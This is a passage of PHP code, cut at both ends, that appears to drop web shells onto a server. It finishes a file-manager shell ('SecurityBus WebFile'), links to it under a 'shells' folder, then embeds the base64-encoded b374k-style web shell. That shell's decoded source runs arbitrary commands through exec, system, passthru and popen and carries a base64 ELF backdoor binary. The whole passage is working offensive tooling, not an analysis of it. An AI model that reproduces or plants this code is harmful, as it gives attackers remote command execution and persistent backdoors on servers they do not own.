'upload',\r\n'create' => 'create',\r\n'change' => 'change',\r\n'save' => 'save',\r\n'set' => 'set',\r\n'reset' => 'reset',\r\n'relative' => 'Relative path to target',\r\n\r\n'yes' => 'Yes',\r\n'no' => 'No',\r\n'back' => 'back',\r\n'destination' => 'Destination',\r\n'symlink' => 'Symlink',\r\n'no_output' => 'no output',\r\n\r\n'user' => 'User',\r\n'password' => 'Password',\r\n'add' => 'add',\r\n'add_basic_auth' => 'add basic-authentification',\r\n\r\n'uploaded' => '\"[%1]\" has been uploaded.',\r\n'not_uploaded' => '\"[%1]\" could not be uploaded.',\r\n'already_exists' => '\"[%1]\" already exists.',\r\n'created' => '\"[%1]\" has been created.',\r\n'not_created' => '\"[%1]\" could not be created.',\r\n'really_delete' => 'Delete these files?',\r\n'deleted' => \"These files have been deleted:\\\r\n[%1]\",\r\n'not_deleted' => \"These files could not be deleted:\\\r\n[%1]\",\r\n'rename_file' => 'Rename file:',\r\n'renamed' => '\"[%1]\" has been renamed to \"[%2]\".',\r\n'not_renamed' => '\"[%1] could not be renamed to \"[%2]\".',\r\n'move_files' => 'Move these files:',\r\n'moved' => \"These files have been moved to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_moved' => \"These files could not be moved to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'copy_files' => 'Copy these files:',\r\n'copied' => \"These files have been copied to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_copied' => \"These files could not be copied to \\\"[%2]\\\":\\\r\n[%1]\",\r\n'not_edited' => '\"[%1]\" can not be edited.',\r\n'executed' => \"\\\"[%1]\\\" has been executed successfully:\\\r\n{%2}\",\r\n'not_executed' => \"\\\"[%1]\\\" could not be executed successfully:\\\r\n{%2}\",\r\n'saved' => '\"[%1]\" has been saved.',\r\n'not_saved' => '\"[%1]\" could not be saved.',\r\n'symlinked' => 'Symlink from \"[%2]\" to \"[%1]\" has been created.',\r\n'not_symlinked' => 'Symlink from \"[%2]\" to \"[%1]\" could not be created.',\r\n'permission_for' => 'Permission of \"[%1]\":',\r\n'permission_set' => 'Permission of \"[%1]\" was set to [%2].',\r\n'permission_not_set' => 'Permission of \"[%1]\" could not be set to [%2].',\r\n'not_readable' => '\"[%1]\" can not be read.'\r\n\t\t);\r\n\r\n\t}\r\n\r\n}\r\n\r\nfunction getimage (\$image) {\r\n\tswitch (\$image) {\r\n\tcase 'file':\r\n\t\treturn base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');\r\n\tcase 'folder':\r\n\t\treturn base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');\r\n\tcase 'hidden_file':\r\n\t\treturn base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');\r\n\tcase 'link':\r\n\t\treturn base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');\r\n\tcase 'smiley':\r\n\t\treturn base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');\r\n\tcase 'arrow':\r\n\t\treturn base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');\r\n\t}\r\n}\r\n\r\nfunction html_header () {\r\n\tglobal \$site_charset;\r\n\r\n\techo <<<END\r\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\r\n     \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=\$site_charset\" />\r\n\r\n<title>SecurityBus WebFile</title>\r\n\r\n<style type=\"text/css\">\r\nbody { font: small sans-serif; text-align: center }\r\nimg { width: 17px; height: 13px }\r\na, a:visited { text-decoration: none; color: navy }\r\nhr { border-style: none; height: 1px; background-color: silver; color: silver }\r\n#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }\r\n#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }\r\n.listing th, .listing td { padding: 1px 3pt 0 3pt }\r\n.listing th { border: 1px solid silver }\r\n.listing td { border: 1px solid #ddd; background: white }\r\n.listing .checkbox { text-align: center }\r\n.listing .filename { text-align: left }\r\n.listing .size { text-align: right }\r\n.listing .permission_header { text-align: left }\r\n.listing .permission { font-family: monospace }\r\n.listing .owner { text-align: left }\r\n.listing .group { text-align: left }\r\n.listing .functions { text-align: left }\r\n.listing_footer td { background: #eee; border: 1px solid silver }\r\n#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }\r\n#directory { background: #eee; border: 1px solid silver }\r\n#upload { padding-top: 1em }\r\n#create { padding-bottom: 1em }\r\n.small, .small option { font-size: x-small }\r\ntextarea { border: none; background: white }\r\ntable.dialog { margin-left: auto; margin-right: auto }\r\ntd.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }\r\n#permission { margin-left: auto; margin-right: auto }\r\n#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }\r\ntd.permission_action { text-align: right }\r\n#symlink { background: #eee; border: 1px solid silver }\r\n#symlink td { text-align: left; padding: 3pt }\r\n#red_button { width: 120px; color: #400 }\r\n#green_button { width: 120px; color: #040 }\r\n#error td { background: maroon; color: white; border: 1px solid silver }\r\n#notice td { background: green; color: white; border: 1px solid silver }\r\n#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }\r\ncode { font-size: 12pt }\r\ntd { white-space: nowrap }\r\n</style>\r\n\r\n<script type=\"text/javascript\">\r\n<!--\r\nfunction activate (name) {\r\n\tif (document && document.forms[0] && document.forms[0].elements['focus']) {\r\n\t\tdocument.forms[0].elements['focus'].value = name;\r\n\t}\r\n}\r\n//-->\r\n</script>\r\n\r\n</head>\r\n<body>\r\n\r\n\r\nEND;\r\n\r\n}\r\n\r\nfunction html_footer () {\r\n\r\n\techo <<<END\r\n</body>\r\n</html>\r\nEND;\r\n\r\n}\r\n\r\nfunction notice (\$phrase) {\r\n\tglobal \$cols;\r\n\r\n\t\$args = func_get_args();\r\n\tarray_shift(\$args);\r\n\r\n\treturn '<tr id=\"notice\">\r\n\t<td colspan=\"' . \$cols . '\">' . phrase(\$phrase, \$args) . '</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction error (\$phrase) {\r\n\tglobal \$cols;\r\n\r\n\t\$args = func_get_args();\r\n\tarray_shift(\$args);\r\n\r\n\treturn '<tr id=\"error\">\r\n\t<td colspan=\"' . \$cols . '\">' . phrase(\$phrase, \$args) . '</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\n?>\r\n");
    echo "<a href='./shells/webfile.php'>Here webfile.php</a><br>";
    $b374k = 'PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCiRzaF9uYW1lID0gIlNlY3VyaXR5QnVzIjsNCiRzaF9tYWludXJsID0gIiI7DQokaHRtbF9zdGFydCA9ICc8aHRtbD48aGVhZD4NCjx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJyAtICcuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjlweDtjb2xvcjojQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyBib3JkZXItY29sb3I6IzMzMzMzMztib3JkZXItd2lkdGg6MHB0IDFwdDsgYm9yZGVyLXN0eWxlOnNvbGlkOyB9DQp0ZCB7YmFja2dyb3VuZC1jb2xvcjogIzAwMDUwMDsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6OHB0OyBjb2xvcjojOTk5OTk5OyBib3JkZXItY29sb3I6I0ZGRkZGRjsgYm9yZGVyLXdpZHRoOjFwdCAwcHQ7IGJvcmRlci1zdHlsZTpzb2xpZDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6MHB0IDNwdDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KQTpMaW5rLCBBOlZpc2l0ZWQgeyBjb2xvcjogIzk5OTk5OTsJdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQpBLm5vOkxpbmssIEEubm86VmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KQTpIb3ZlciwgQTpWaXNpdGVkOkhvdmVyICwgQS5ubzpIb3ZlciwgQS5ubzpWaXNpdGVkOkhvdmVyIHsgY29sb3I6ICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQppbnB1dCxzZWxlY3Qsb3B0aW9uIHsgZm9udDo4cHQgdGFob21hO2NvbG9yOiM2NjY2NjY7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyB9DQp0ZXh0YXJlYSB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCA7bWFyZ2luOjI7IH0NCi5mbGVmdCB7IGZsb2F0OmxlZnQ7dGV4dC1hbGlnbjpsZWZ0OyB9DQouZnJpZ2h0IHsgZmxvYXQ6cmlnaHQ7dGV4dC1hbGlnbjpyaWdodDsgfQ0KI3BhZ2ViYXIgeyBmb250OjhwdCB0YWhvbWE7cGFkZGluZzo1cHg7IGJvcmRlcjozcHggc29saWQgIzMzMzMzMzsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOyB9DQojcGFnZWJhciB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KI3BhZ2ViYXIgcCB7IGZvbnQ6OHB0IHRhaG9tYTt9DQojcGFnZWJhciBhIHsgZm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojNjY2NjY2OyB9DQojcGFnZWJhciBhOnZpc2l0ZWQgeyBjb2xvcjojMDBDRTAwOyB9DQojbWFpbm1lbnUgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KI21haW5tZW51IGEgeyB0ZXh0LWFsaWduOiBjZW50ZXI7cGFkZGluZzogMHB4IDVweCAwcHggNXB4OyB9DQojbWFpbmluZm8sLmJhcmhlYWRlciwuYmFyaGVhZGVyMiB7IHRleHQtYWxpZ246Y2VudGVyOyB9DQojbWFpbmluZm8gdGQgeyBwYWRkaW5nOjNweDsgfQ0KLmJhcmhlYWRlciB7IGZvbnQtd2VpZ2h0OmJvbGQ7cGFkZGluZzo1cHg7IH0NCi5iYXJoZWFkZXIyIHsgcGFkZGluZzo1cHg7Ym9yZGVyOjJweCBzb2xpZCAjMzMzMzMzOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQoubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7bWFyZ2luOjA7IH0NCmlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQppbnB1dFt0eXBlPSJ0ZXh0Il0geyBwYWRkaW5nOjNweDt9DQouZnhlcnJtc2cgeyBjb2xvcjpyZWQ7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0NCiNwYWdlYmFyLCNwYWdlYmFyIHAsaDEsaDIsaDMsaDQsZm9ybSB7IG1hcmdpbjowOyB9DQojcGFnZWJhciwubWFpbnBhbmVsLGlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KLmJhcmhlYWRlcjIsaW5wdXQsc2VsZWN0LG9wdGlvbixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IH0NCnRleHRhcmVhLC5tYWlucGFuZWwgaW5wdXQsc2VsZWN0LG9wdGlvbiB7IGJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsgfQ0KLy8gLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCiRsb2dpbiA9ICIiOyANCiRwYXNzID0gIiI7DQokbWQ1X3Bhc3MgPSAiIjsNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgDQokbG9naW5fdHh0ID0gIiI7IA0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiPE1FVEEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9aHR0cDovL2hvbWUuZGlzbmV5LmdvLmNvbS9cIj48Ym9keSBiZ2NvbG9yPWJsYWNrPjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPjxmb250IGNvbG9yPWxpbWU+ZGllKCk7PC9mb250PjwvYT46IDxmb250IGNvbG9yPXJlZD5hY2Nlc3MgZGVuaWVkPC9mb250PjwvYm9keT4iOw0KJGd6aXBlbmNvZGUgPSBGQUxTRTsNCiRmaWxlc3RlYWx0aCA9IFRSVUU7IA0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7IA0KJHRtcGRpcl9sb2cgPSAiLi8iOw0KJGxvZ19lbWFpbCA9ICIiOyAgLy9meDBAZngwLm5hbWUNCiRzb3J0X2RlZmF1bHQgPSAiMGEiOyANCiRzb3J0X3NhdmUgPSBUUlVFOyANCiRzZXNzX2Nvb2tpZSA9ICJjYXByaXY4dmFycyI7IA0KJHVzZWZzYnVmZiA9IFRSVUU7IA0KJGNvcHlfdW5zZXQgPSBGQUxTRTsgDQokaGV4ZHVtcF9saW5lcyA9IDg7DQokaGV4ZHVtcF9yb3dzID0gMjQ7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOw0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpIHsNCiAgJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7DQp9DQpmdW5jdGlvbiBnZXRfcGhwaW5pKCkgew0KICBmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpIHsNCiAgICAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogICAgcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiAgfQ0KICBmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkgew0KICAgIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiAgICBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogICAgaWYgKCR2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiAgICBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCiAgICBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgcHJpbnRfcigkdmFsdWUpOw0KICAgICAgJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0NCiAgICByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOw0KICB9DQogIGlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKSB7DQogICAgJHIgPSAiIjsNCiAgICBlY2hvICI8dGFibGU+PHRyIGNsYXNzPWJhcmhlYWRlcj48dGQ+RGlyZWN0aXZlPC90ZD48dGQ+TG9jYWwgVmFsdWU8L3RkPjx0ZD5HbG9iYWwgVmFsdWU8L3RkPjwvdHI+IjsNCiAgICBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICRyIC49ICI8dHI+PHRkPiIuJGtleS4iPC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuIjwvZGl2PjwvdGQ+PHRkPjxkaXYgYWxpZ249Y2VudGVyPiIuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gJHI7DQogICAgZWNobyAiPC90YWJsZT4iOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGRpc3BfZHJpdmVzKCRjdXJkaXIsJHN1cmwpIHsNCiAgJGxldHRlcnMgPSAiIjsNCiAgJHYgPSBleHBsb2RlKCJcXCIsJGN1cmRpcik7DQogICR2ID0gJHZbMF07DQogIGZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHsNCiAgICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gJGxldHRlciA9PSAiQSI7DQogICAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgICBpZiAoJGJvb2wpIHsNCiAgICAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuDQogICAgICAoJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj4gWyI7DQogICAgICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgICAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9DQogICAgICAkbGV0dGVycyAuPSAiXTwvYT4gIjsNCiAgICB9DQogIH0NCiAgaWYgKCFlbXB0eSgkbGV0dGVycykpIHtSZXR1cm4gJGxldHRlcnM7fQ0KICBlbHNlIHtSZXR1cm4gIk5vbmUiO30NCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpIHsNCiAgZnVuY3Rpb24gZGlzcF9mcmVlc3BhY2UoJGN1cmRydikgew0KICAgICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRjdXJkcnYpOw0KICAgICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGN1cmRydik7DQogICAgaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9DQogICAgaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30NCiAgICBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICAgICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICAgICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMikuIiUiOw0KICAgICRmcmVlID0gdmlld19zaXplKCRmcmVlKTsNCiAgICAkdG90YWwgPSB2aWV3X3NpemUoJHRvdGFsKTsNCiAgICByZXR1cm4gIiRmcmVlIG9mICR0b3RhbCAoJGZyZWVfcGVyY2VudCkiOw0KICB9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkgew0KICBpZihpc19jYWxsYWJsZSgicG9wZW4iKSkgew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGlmICghKCRwPXBvcGVuKCIoJGNtZCkyPiYxIiwiciIpKSkgeyByZXR1cm4gInBvcGVuIERpc2FibGVkISI7IH0NCiAgICAgIHdoaWxlICghZmVvZigkcCkpIHsNCiAgICAgICAgJGxpbmU9ZmdldHMoJHAsMTAyNCk7DQogICAgICAgICRvdXQgLj0gJGxpbmU7DQogICAgICB9DQogICAgICBwY2xvc2UoJHApOw0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9IGVsc2Ugew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGdsb2JhbCAkZGlzYWJsZWZ1bmM7DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBpZiAoIWVtcHR5KCRjbWQpKSB7DQogICAgICAgIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICBleGVjKCRjbWQsJHJlc3VsdCk7DQogICAgICAgICAgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTsNCiAgICAgICAgfSBlbHNlaWYgKCgkcmVzdWx0ID0gJGNtZCkgIT09IEZBTFNFKSB7DQogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7DQogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2Ow0KICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjsNCiAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpIHsNCiAgICAgICAgICAkcmVzdWx0ID0gIiI7DQogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAkcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTsgfQ0KICAgICAgICAgIHBjbG9zZSgkZnApOw0KICAgICAgICB9DQogICAgICB9DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCn0NCmZ1bmN0aW9uIGV4KCRjZmUpIHsNCiAgJHJlcyA9ICcnOw0KICBpZiAoIWVtcHR5KCRjZmUpKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBAc3lzdGVtKCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KICAgICAgJHJlcyA9ICIiOw0KICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgICAgQHBjbG9zZSgkZik7DQogICAgfSBlbHNlIHsgJHJlcyA9ICJFeCgpIERpc2FibGVkISI7IH0NCiAgfQ0KICByZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KICAkcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCiAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiAkcHI7IH0NCn0NCg0KJGhvc3RuYW1lX3ggPSBwaHBfdW5hbWUobik7DQokaXRzaG9tZSA9IGdldGN3ZCgpOw0KaWYgKCEkd2luKSB7DQogICRpdHNob21lID0gc3RyX3JlcGxhY2UoIi9ob21lLyIsIn4iLCRpdHNob21lKTsNCiAgJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL3B1YmxpY19odG1sIiwiL2NhLnBocCIsJGl0c2hvbWUpOw0KfQ0KZWxzZSB7ICRpdHNob21lID0gIiI7IH0NCiRlbnVtZXJhdGUgPSAiaHR0cDovLyIuJGhvc3RuYW1lX3guIi8iLiRpdHNob21lLiIiOw0KDQoNCiRMdmVyc2lvbiA9IHBocF91bmFtZShyKTsNCiRPU1YgPSBwaHBfdW5hbWUocyk7DQoNCg0KJGJhY2tkb29yID0gImYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBb0lVRUNEUUFBQUQ0RWdBQUFBQUFBRFFBSUFBSEFDZ0FJZ0FmQUFZQUFBQTBBQUFBTklBRUNEU0FCQWpnQUFBQTRBQUFBQVVBQUFBRUFBQUFBd0FBQUJRQkFBQVVnUVFJRklFRUNCTUFBQUFUQUFBQUJBQUFBQUVBQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJckFrQUFLd0pBQUFGQUFBQUFCQUFBQUVBQUFDc0NRQUFySmtFQ0t5WkJBZzBBUUFBT0FFQUFBWUFBQUFBRUFBQUFnQUFBTUFKQUFEQW1RUUl3SmtFQ01nQUFBRElBQUFBQmdBQUFBUUFBQUFFQUFBQUtBRUFBQ2lCQkFnb2dRUUlJQUFBQUNBQUFBQUVBQUFBQkFBQUFGSGxkR1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUVBQUFBTDJ4cFlpOXNaQzFzYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUFBQUFBQkVBQUFBVEFBQUFBQUFBQUFBQUFBQVFBQUFBRVFBQUFBQUFBQUFBQUFBQUNRQUFBQWdBQUFBRkFBQUFBd0FBQUEwQUFBQUFBQUFBQUFBQUFBOEFBQUFLQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQkFBQUFBQUFBQUFjQUFBQUxBQUFBQUFBQUFBUUFBQUFNQUFBQURnQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEFBQUFBQUFBQWRRRUFBQklBQUFDZ0FBQUFBQUFBQUhFQUFBQVNBQUFBTkFBQUFBQUFBQURNQUFBQUVnQUFBR29BQUFBQUFBQUFXZ0FBQUJJQUFBQk1BQUFBQUFBQUFIZ0FBQUFTQUFBQVl3QUFBQUFBQUFBNUFBQUFFZ0FBQUZnQUFBQUFBQUFBT1FBQUFCSUFBQUNPQUFBQUFBQUFBT1lBQUFBU0FBQUFPd0FBQUFBQUFBQTZBQUFBRWdBQUFGTUFBQUFBQUFBQU9RQUFBQklBQUFCM